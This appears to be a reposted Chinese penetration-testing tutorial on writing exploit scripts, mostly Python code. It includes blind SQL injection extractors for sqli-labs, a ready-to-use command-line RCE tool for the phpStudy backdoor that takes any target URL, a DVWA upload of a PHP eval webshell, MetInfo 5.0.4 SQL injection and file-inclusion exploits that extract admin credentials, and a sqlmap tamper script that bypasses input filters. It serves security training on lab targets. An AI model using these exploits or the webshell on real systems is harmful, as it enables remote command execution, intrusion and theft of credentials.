EXP武器库编写

news2024/12/28 2:51:30

文章目录

    • pocsuite3工具
    • SQL注入EXP
      • 布尔盲注
        • 优化
        • 最终优化
      • 延时注入
    • phpstudy2016-2018-RCE利用
    • DVWA文件上传
    • metinfo_5.0.4EXP
      • SQL-布尔盲注
      • 文件包含漏洞
    • 定制SQLmap
      • tamper脚本
      • sqli-labs/less-26
        • 关卡分析
      • tamper脚本编写

python是黑客最喜欢的编程语言之一,但同时go语言正在兴起。

在渗透测试的过程中,为了提高效率,通常需要编写一些小工具,把一系列机械性的手法自动化实现,如SQL注入中的盲注。

区分两个概念:

1、针对某一个(类)漏洞的验证代码,称之为POC,主要用来验证漏洞的存在性。

2、针对某一个漏洞的完整利用程序,称之为EXP,除了验证漏洞的存在性,还能相对完美利用漏洞。

拥有编写号的EXP,再次遇到相同的或相识的目标环境和漏洞,仅需要进行简单的修改就可以直接进行漏洞检查了,大大提高了便利性和效率。

本课程所使用的python版本是3.x。

pocsuite3工具

简介

pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架

项目地址

https://github.com/knownsec/pocsuite3

漏洞测试框架

Pocsuite3 采用 Python3 编写,支持验证,利用 及 shell 三种插件模式,你可以指定单个目标或者从文件导入多个目标,使用单个 PoC 或者 PoC 集合进行漏洞的验证或利用。可以使用命令行模式进行调用,也支持类似 Metaspolit 的交互模式进行处理,除此之外,还包含了一些基本的如输出结果报告等功能。(使用方法参考《Pocsuite 使用方法》)

POC/EXP开发包

Pocsuite3 也是一个 PoC/Exp 的 SDK,也就是开发包,我们封装了基础的 PoC 类,以及一些常用的方法,比如 Webshell 的相关方法,基于Pocsuite3 进行 PoC/Exp 的开发,你可以只要编写最核心的漏洞验证部分代码,而不用去关心整体的结果输出等其他一些处理。基于 Pocsuite3 编写的 PoC/Exp 可以直接被 Pocsuite 使用,Seebug网站也有几千个基于pocsuite 的 PoC/Exp。

可被集成模块

Pocsuite3 除了本身具有直接就是一个安全工具除外,也可以作为一个Python包被集成进漏洞测试模块。你还可以基于 Pocsuite3 开发你自己的应用,我们在 Pocsuite3 里封装了可以被其他程序 import 的 PoC 调用类,你可以基于 Pocsuite3 进行二次开发,调用 Pocsuite3 开发您自己的漏洞验证工具。

集成ZoomEye,Seebug,Ceye

Pocsuite3 还集成了 ZoomEye, Seebug, Ceye API,通过该功能,你可以通过 ZoomEye API 批量获取指定条件的测试目标(通过 ZoomEye 的 Dork 进行搜索),同时通过 Seebug API 读取指定组件或者类型的漏洞的 PoC 或者本地 PoC,进行自动化的批量测试。利用Ceye 验证盲打的 DNS 和 HTTP 请求

特性

POC脚本可以运行在attack,verify,shell等模式下

插件化的方式动态加载

可从本地文件,redis,数据库,seebug网站等动态加载POC脚本运行

可通过CIDR,本地文件,redis,数据库,Zoomeye Dork批量加载检测目标

可以自定义结果导出插件方便导出多种格式的检测报告

可动态补丁requests爆,支持多种额外特性

可通过命令行或者python包导入运行

IPV6支持

全局的HTTP/HTTPS/SOCKS代理支持

为POC脚本提供简单爬虫API功能调用

Seebug联动Seebug(从seebug网站搜索和加载PoC脚本)

ZoomEye 联动 ZoomEye (从ZoomEye Dork 批量加载检测目标)

Ceye 联动 Ceye (提供盲打的DNS及HTTP请求验证)

Shodan 联动 Shodan (从Shodan Dork 批量加载检测目标)

监听反向链接的 shell

PoC脚本支持友好的 IDE 动态调试

More …

环境要求

Python 3.4+
Linux, Windows, Mac OSX, BSD

安装

直接pip3安装

pip install pocsuite3

或者直接下载最新的解压

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install

使用方法

image-20230923093625366

pocsuite -h  查看帮助信息

Pocsuite3 有三种运行方法,1、命令行;2、交互式控制台;3、集成调用。

命令行

交互式控制台

类似 Metasploit 的控制台,使用 poc-console 命令进入

image-20230923094514285

image-20230923094601414

集成调用

官方用法文档

初识pocsuite3框架

模板 文件路径

image-20230923095727929

SQL注入EXP

布尔盲注

# @File:sqli-labs-8-Boolean_blind.py

'''
http://192.168.8.3/sqli-labs-master/Less-8/?id=1'
'''
import requests, string


# 获取数据长度
def get_database_length(url):
    count = 0
    while True:
        payload = f" and length(database())={count}-- "
        response = requests.get(url=url + payload).text
        if 'You are in...........' in response:
            print(f"[*] The length of database :{count}")
            break
            # return count
        count += 1
    return count


# 获取数据库名

def get_database_name(length,url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
            # print(payload)
            response = requests.get(url=url + payload).text
            if 'You are in...........' in response:
                database_name += j
                print(f'[+] DataBase:{database_name}')
    # return database_name


if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
    length = get_database_length(url)

    get_database_name(length,url)
    # print(database_name)

image-20230921193837087

优化
import requests, string
url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
#获取数据库长度

db_name_len = 0
for i in range(10):
    payload = f" and length(database())={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        db_name_len = i
        print(f"[*]The length of database:{db_name_len}")
        break
# 获取数据库名
db_name = ""
word = string.printable.strip()
for i in range(db_name_len):
    for j in word:
        payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            db_name += j
            print(f"[*]The database is :{db_name}")
            break

# # 获取表名长度
table_len = 0
for i in range(200):
    payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        table_len = i
        print(f"[*]The length of table:{table_len}")
        break
# # 获取表名
table_name = ''
for i in range(table_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            table_name += j
            print(f"[*]The table_name is :{table_name}")
            break

# # 获取字段的长度
column_len = 0
for i in range(200):
    payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        column_len = i
        print(f"[*]The length of column:{column_len}")
        break
#
# # 获取所有的字段
column_name = ''
for i in range(table_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            column_name += j
            print(f"[*]The column_name is :{column_name}")
            break
#
# # # 获取数据长度
data_len = 0
for i in range(200):
    payload = f" and length((select group_concat(username,password) from  users))={i} -- "
    if "You are in..........." in requests.get(url=url + payload).text:
        data_len = i
        print(f"[*]The length of data:{data_len}")
        break
#
# # # 获取所有的数据
data_name = ''
for i in range(data_len):
    for j in word:
        payload = f" and ascii(substr((select group_concat(concat(username,0x3a,password)) from users),{i + 1},1))={ord(j)} --+"
        if "You are in..........." in requests.get(url=url + payload).text:
            data_name += j
            print(f"[*]The data_name is :{data_name}")
            break
最终优化
data_len = 0


def get_len(url, sql):
    for i in range(200):
        payload = f" and length(({sql}))={i} -- "
        if "You are in..........." in requests.get(url=url + payload).text:
            global data_len
            data_len = i
            print(f"[*]The length of data:{data_len}")

            break


def get_name(url, sql):
    word = string.printable.strip()
    data_name = ''
    for i in range(data_len):
        for j in word:
            payload = f" and ascii(substr(({sql}),{i + 1},1))={ord(j)} --+"
            if "You are in..........." in requests.get(url=url + payload).text:
                data_name += j
                print(f"[*]The data_ is :{data_name}")
                break


if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-8/?id=1'"
    # sql = 'select database()'  #获取数据库信息
    # sql = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'  # 获取表信息
    # sql = 'select group_concat(column_name) from information_schema.columns where table_schema=database()'  # 获取字段
    sql = 'select group_concat(concat(username,0x3a,password)) from  users'  # 获取数据
    get_len(url, sql)

    get_name(url, sql)


延时注入

# @File:sqli-labs-9-Delayed injection.py

'''
http://192.168.8.3/sqli-labs-master/Less-9/?id=1' and if(1=2,sleep(5),1) --+
'''

import requests, string


def get_timeout(url):
    try:
        response = requests.get(url=url,timeout=3)
    except:
        return "timeout"
    else:
        return response.text

#获取数据库长度
def get_database_length(url):
    count = 0
    while True:
        payload = f" and if(length(database())={count},sleep(6),1) --+"
        # print(url + payload)

        if 'timeout' in get_timeout(url + payload):
            print(f"[*] The length of database :{count}")
            break

        count += 1
    return count

#获取数据库名字


def get_database_name(length,url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            payload =f" and if(ascii(substr((select database()), {i+1}, 1))={ord(j)}, sleep(5), 1) -- "
            # print(payload)

            if 'timeout' in get_timeout(url + payload):
                database_name += j
                print(f'[+] DataBase:{database_name}')
    # return database_name
if __name__ == '__main__':
    url = "http://192.168.8.3/sqli-labs-master/Less-9/?id=1'"
    length=get_database_length(url)
    get_database_name(length,url)


image-20230921193821494

phpstudy2016-2018-RCE利用

# @File:phpstudy2018-2018_rec.py


import requests
import base64
import random
import string
import argparse
from termcolor import colored
from pyfiglet import Figlet

def attack(url, cmd):
    cmd = f"system('{cmd}');"
    # print('1',cmd)
    base64_cmd = base64.b64encode(cmd.encode()).decode()

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Encoding": "gzip,deflate",
        "Accept-Charset": base64_cmd
    }
    response = requests.get(url, headers=headers).text
    # print('2',response[:response.find('<!DOCTYPE html PUBLIC ')])
    return response[:response.find('<!DOCTYPE html PUBLIC ')]


def verify(url):
    w = ''
    for i in range(10):
        w += random.choice(string.ascii_letters)
    cmd = f"echo {w}"
    # print('3',cmd)
    attack(url, cmd)
    if w in attack(url, cmd):
        print(colored(f"[+] Target {url} vulnerability exists", "green"))
    else:

        print(colored(f"[-] The target {url} vulnerability does not exist", "red"))


if __name__ == '__main__':


    parse = argparse.ArgumentParser()
    parse.add_argument('-u', '--url', help="请输入地址", type=str)  # 指定参数必须是整型
    parse.add_argument("-c", '--command', help='请输入测试命令', type=str)  # 指定参数必须是字符串类型
    args = parse.parse_args()
    if args.url and args.command:
        verify(args.url)
        print(attack(args.url, args.command))
    else:
        # 艺术字
        f = Figlet(font='slant')
        print('=' * 70)
        print(f.renderText('phpstudy bd'))
        print(' ' * 54, '-- zSong', )
        print()
        print("\033[34mUsage: python3 *.py -u http://192.168.8.3/phpinfo.php -c whoami\033[0m")

        print('=' * 70)


DVWA文件上传


# @File:file_upload.py

import requests
from bs4 import BeautifulSoup

url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'

headers = {
    "User-Agent": "",
    "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
}
data = {
    "MAX_FILE_SIZE": "100000",
    "Upload": "Upload"
}

files = {
    "uploaded": ('2.php', '<?php @eval($_REQUEST[6868]);phpinfo();?>', 'image/png')
}
response = requests.post(url=url, headers=headers, data=data, files=files)

print(response.text)
# 提取上传路径
soup = BeautifulSoup(response.text, 'lxml')
#提取pre标签的文件
pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
# print(img_path)                     #../../hackable/uploads/2.php
'''路径拼接'''
img_path=url+img_path
print(img_path)

metinfo_5.0.4EXP

SQL-布尔盲注

注入点:http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22

image-20230921190224969

漏洞验证

抓包测试

image-20230921190348774

+and+length(database())=2

image-20230921190515124

+and+length(database())>2

image-20230921190546993

页面不出现404.html,则页面正常

布尔盲注脚本编写

# @File:metinfo_504_sqlinjection.py
import requests, string

'''
/metInfo5.0.4/about/show.php?lang=cn&id=22+and+length(database())>2
'''

import requests, string


# 获取数据长度
def get_length(url):
    count = 0
    while True:
        #获取数据库长度
        payload = f" and length((select database()))={count}-- "
        #获取表的长度
        payload = f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={count}-- "
        #获取字段的长度
        payload = f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65))={count}-- "
        #获取数据的长度
        payload = f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={count}-- "
        print(url + payload)
        response = requests.get(url=url + payload).text
        if '404.html' not in response:
            print(f"[*] The length of data :{count}")
            break
            # return count
        count += 1
    return count


# 获取数据库名
def common():
    pass


def get_database_data(length, url):
    database_name = ''
    word = string.printable.strip()
    # print(length)
    for i in range(length):
        for j in word:
            #获取数据库名
            payload = f" and ascii(substr((select database()),{i + 1},1))={ord(j)}-- "
            #获取表名
            payload = f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(j)}-- "
            #获取字段名
            payload = f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65),{i + 1},1))={ord(j)}-- "
            #获取管理员数据
            payload = f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(j)}-- "

            response = requests.get(url=url + payload).text
            if '404.html' not in response:
                database_name += j
                print(f'[+] Data:{database_name}')
    # return database_name


if __name__ == '__main__':
    url = "http://192.168.8.3/metInfo5.0.4/about/show.php?lang=cn&id=22"
    length = get_length(url)

    get_database_data(length, url)

    # print(database_name)

image-20230921212844064

得到密码的md5值,解码后得到密码admin

文件包含漏洞

文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]

favicon.io页面有88888字样,可以利用这一点来验证漏洞是否存在

image-20230922211656074

# @File:file_include.py
import sys

import requests


# 漏洞验证
def verify(url):
    payload = "/about/index.php?fmodule=7&module=../favicon.ico"
    if '88888888888888' in requests.get(url=url + payload).text:

        return '[*] The target has vulnerabilities'

    else:
        return '[*] There are no vulnerabilities in this target'


# 漏洞利用
def attack(url):
    file_path = input('输入文件包含路径[:]')
    payload = "/about/index.php?fmodule=7&module=%s"%(file_path)
    response = requests.get(url=url + payload).text
    print(response)


if __name__ == '__main__':
    url = 'http://192.168.8.3/metInfo5.0.4'

    if " has vulnerabilities" in verify(url):
        attack(url)
    else:
        exit()

image-20230922213324273

定制SQLmap

tamper脚本

SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。

  • sqlmap,Tamper详解及使用指南

sqli-labs/less-26

关卡分析

被过滤字符

字符替代字符
–+ #and '1 and 1='1
andanANDd
oroORr
%a0(linux 系统特性)

?id=1

image-20230922142324813

Hint: Your Input is Filtered with following result: 1
提示:您的输入将被过滤,结果如下:1

?id=2

image-20230922142306532

?id=1'

image-20230922142540676

得出结论:字符型注入,闭合方式单引号


使用--+注释掉后面的,发现报错,说明--+没有起到效果

image-20230922143416642

?id=1' and '1

image-20230922142710183

and被过滤了


可以考虑双写,?id=1' anANDd '1

双写能显示出and,但是空格没有出来,被过滤了

image-20230922143033134

试一下用+号来代替空格

?id=1'+anANDd+'1

image-20230922143202076

发现+号被过滤掉了,所以上面的--+起不到注释的效果就是因为+号被过滤

尝试使用特殊字符代替空格,网上搜寻

%a0可以代替

image-20230922145534511

联合查询

?id=1'%a0union%a0select%a01,2,3%a0anandd%a01='1

image-20230922145939743

?id=1'%a0aandnd%a01=2%a0union%a0select%a0database(),version(),3%a0aANDnd%a0'1

image-20230922150043853

使用sqlmap跑一下,-v参数可以显示注入的payload

 python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3

image-20230922150640269

tamper脚本编写

tamper脚本位置在sqlmap/tamper

image-20230922151109421

#sqli-labs-26.py
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    <space>             %a0
    and                 anANDd
    --+                  and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)-- "," and 'lili",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i)\ ","%a0",payload)

    return payload

(?i) 正则忽略大小写匹配

验证漏洞

 python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26

image-20230922151358351

image-20230922151415001

获取数据库

python .\sqlmap.py -u "http://192.168.8.3/sqli-labs-master/Less-26/?id=1" -v3 --tamper sqli-labs-26 --dbs

image-20230922151527831

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1034758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于AVR128单片机智能电风扇控制系统

一、系统方案 模拟的电风扇的工作状态有3种&#xff1a;自然风、常风及睡眠风。使用三个按键S1-S3设置自然风、常风及睡眠风。 再使用两个按键S4和S5&#xff0c;S4用于定时电风扇定时时间长短的设置&#xff0c;每按一次S4键&#xff0c;定时时间增加10秒&#xff0c;最长60秒…

C/C++程序员技术发展方向(强烈推荐!!)

大家好&#xff0c;我是阿Q。 今天这篇就是专门给现在还迷茫不知道自己到底要做什么方向C开发的同学们。 几年后回过头看的时候&#xff0c;你一定会感谢当初那个努力的自己&#xff01; C作为当下也非常流行的一个面向对象语言&#xff0c;有着非常多的应用&#xff0c;一定…

RHCSA 文件的上传下载(Linux-Windows)

目录 一、SCP 上传&#xff08;Windows--->Linux&#xff09;&#xff1a; 下载&#xff08;Linux--->Windows&#xff09;&#xff1a; 二、STFP 三、XFTP工具 一、SCP 上传&#xff08;Windows--->Linux&#xff09;&#xff1a; 在Windows本地端命令窗口中转…

基因组注释(Annotation)

基因组组装完成后&#xff0c;或者是完成了草图&#xff0c;就不可避免遇到一个问题&#xff0c;需要对基因组序列进行注释。注释之前首先得构建基因模型&#xff0c;有三种策略&#xff1a; 从头注释(de novo prediction)&#xff1a;通过已有的概率模型来预测基因结构&#…

【刷题】2023年第十四届蓝桥杯大赛软件类省赛C/C++大学A组真题

蓝桥杯2023年第十四届省赛真题-平方差 - C语言网 (dotcpp.com) 初步想法&#xff0c;x y2 − z2&#xff08;yz)(y-z) 即xa*b&#xff0c;ayz&#xff0c;by-z 2yab 即ab是2的倍数就好了。 即x存在两个因数之和为偶数就能满足条件。 但时间是&#xff08;r-l&#xff09;*x&am…

C语言回调函数与注册函数的使用

概述 在项目中&#xff0c;经常见到此写法&#xff0c;在此写个demo&#xff0c;方便其他工程师参阅。 开发环境&#xff1a;Visual Studio Community 2022 1、代码 #include <stdio.h>//封装库代码 typedef struct {bool status;void (*setStatus)(int status); }T_…

动手吧,vue单选框

单选框到处可见&#xff0c;组件库不方便自定义样式&#xff0c;还是自己写吧。 效果图&#xff1a; 1、template部分 <template><labelclass"v-radio flex":class"[{ disable: disabled }]":aria-disabled"disabled"><spancla…

如何搭建专属的物联网私有云?需要考虑哪些因素?

随着物联网技术的快速发展&#xff0c;越来越多的企业开始意识到搭建专属的物联网私有云的重要性。私有云是指企业自主建设和管理的云服务环境&#xff0c;其中企业可以实现对数据和服务的全面控制&#xff0c;同时也可以享受云服务的高效性和灵活性。 一、企业做专属物联网私…

基于jenkins+k8s实现devops

1、背景 由于jenkins运行在k8s上能够更好的利用动态agent进行构建。所以写了个部署教程&#xff0c;亲测无坑 2、部署 1、创建ns kubectl create namespace devops 2、kubectl apply -f jenkins.yml apiVersion: v1 kind: ServiceAccount metadata:name: jenkinsnamespace…

用于图像分类的预训练模型(PyTorch实现)

用于图像分类的预训练模型&#xff08;PyTorch实现&#xff09; 在本文中&#xff0c;我们将介绍一些使用 TorchVision 模块中存在的预训练网络的实践示例——用于图像分类的预训练模型。 1. 基于预训练模型进行图像分类 预训练模型是在 ImageNet 等大型基准数据集上训练的神…

力扣刷题-链表-移除链表元素

203.移除链表元素 题意&#xff1a;删除链表中等于给定值 val 的所有节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5] 示例 2&#xff1a; 输入&#xff1a;head [], val 1 输出&#xff1a;[] 示例 3&#xff1a; 输…

arduino u8g2 表情字库制作

U8G2 下载原代码 &#xff1a; GitHub - olikraus/u8g2: U8glib library for monochrome displays, version 2 1.制作图片 使用FLASH 或任何可以画图的软件制作动态图片PNG格式 大小最好先设定好如40x80 ,最好不要太大 128X64,60X60 将制作好的图片放入 下载好的 u8g2-master…

【每日一题】1539. 第 k 个缺失的正整数

1539. 第 k 个缺失的正整数 - 力扣&#xff08;LeetCode&#xff09; 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1&#xff1a; 输入&#xff1a;arr [2,3,4,7,11], k 5 输出&#xff1a;9 解释&#xff1a;缺失…

国科大体系结构习题 | 第二章 计算机系统结构基础

第二章 习题汇总 Q1. 在3台不同指令系统的计算机上运行同一程序P时&#xff0c;A机需要执行 1.0 1 0 8 1.010^8 1.0108条指令&#xff0c;B机需要执行 2.0 1 0 8 2.0 10^8 2.0108条指令&#xff0c;C机需要执行 4.0 1 0 8 4.010^8 4.0108条指令&#xff0c;但实际执行时间…

Linux 操作技巧

目录 一、shell-命令解释器 二、Linux中的特殊符号 三、命令历史--history 一、shell-命令解释器 shell——壳&#xff0c;命令解释器&#xff0c;负责解析用户输入的命令 ——内置命令&#xff08;shell内置&#xff09; ——外置命令&#xff0c;在文件系统的某个目录下&…

Redis Insight 版本 2.32 翻译中文

使用教程 链接&#xff1a;https://pan.baidu.com/s/11pWBZ3uQSRZbuMS8POkLCw?pwd2ke5 一、下载renderer.js 1.打开安装好的软件 2、在这里添加我们指定的文件夹&#xff0c;这个文件夹是你随便创建的&#xff0c;你可以指定任何目录 3.选择renderer.js右键保存覆盖 4.在r…

Flask数据库之SQLAlchemy--介绍--链接数据库

目录 SQLAlchemy介绍 SQLAlchemy连接数据库 SQLAlchemy介绍 数据库是一个网站的基础&#xff01;&#xff01;&#xff01; 比如MySQL、MongoDB、SQLite、PostgreSQL等&#xff0c;这里我们以MySQL为例进行讲解。 SQLAlchemy是一个ORM框架 对象关系映射&#xff08;英语&…

chrome浏览器 调试鼠标悬停后出现的元素样式

鼠标悬停后出现的样式&#xff0c;我们遇见的有两种情况&#xff0c;一种是用css设置的hover时的样式&#xff0c;第二种就像el-tooltip组件&#xff0c;鼠标悬停时出现提示文字的样式。 一、css设置的hover时的样式 1、按【F12】键&#xff08;或右键点击【检查】&#xff09…

星闪空口技术初探

星闪技术设计目标 在星闪技术的应用场景中&#xff0c;最低的时延要求达到了20us量级&#xff0c;比如智能座舱的主动降噪。最高的可靠性要求达到了99.9999%&#xff0c;比如智能制造的传感器与执行器的消息收发。除了低时延和高可靠之外&#xff0c;高精度同步、多并发和信息…

Linux工具——gdb

目录 一&#xff0c;gdb简介 二&#xff0c;gdb的指令 1.查看gdb是否有下载 2.需要明确的知识点 3.调试指令 1.打开调试代码 2.以某行为起点显示代码 3.打断点&#xff0c;查看断点&#xff0c;删除断点&#xff0c;禁用断点&#xff0c;启用断点 4.逐过程&#xff0c;逐…